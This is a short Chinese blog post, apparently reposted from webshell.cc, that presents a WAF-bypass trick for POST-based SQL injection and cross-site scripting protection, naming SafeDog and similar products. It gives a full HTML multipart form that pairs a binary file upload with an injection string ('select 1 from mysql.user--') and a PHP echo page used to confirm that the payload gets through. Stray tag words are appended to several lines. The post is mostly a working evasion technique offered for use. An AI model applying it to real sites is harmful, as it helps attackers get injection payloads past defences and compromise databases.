轻松绕各类WAF的POST注入、跨站防护(好比安全狗)

时间 2019-11-08

原文原文链接

XXX以前有提过multipart请求绕过各类WAF方式：360网站宝/安全宝/加速乐及其余相似产品防御绕过缺陷之一，貌似没引发多少人关注。今天发现安全狗变聪明了之前那套他不吃了，不过随手给狗提交了一个二进制的文件域就XXOO了。注意必定要是二进制文件，图片、压缩包什么的都行。php

构建以下HTML表单：html

<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>yzmm - p2j.cn</title> </head> <body> <form action="http://webshell.cc/index.php" method="POST" enctype="multipart/form-data"> File:<input type="file" name="file" /><br/> ID:<input type="text" name="id" value="select 1 from mysql.user--" style="width:250px;" / ><br/> <input type="submit" value="提交" /> </form> </body> </html>mysql

index.php:web

<?php echo "POST-ID:".$_POST['id']."<br/>GET-ID:".$_GET['id']; ?>sql

提交带二进制文件的请求：shell

成功绕过。安全

本站内容均为原创，转载请务必保留署名与连接！轻松绕各类WAF的POST注入、跨站防护(好比安全狗):http://www.webshell.cc/4464.html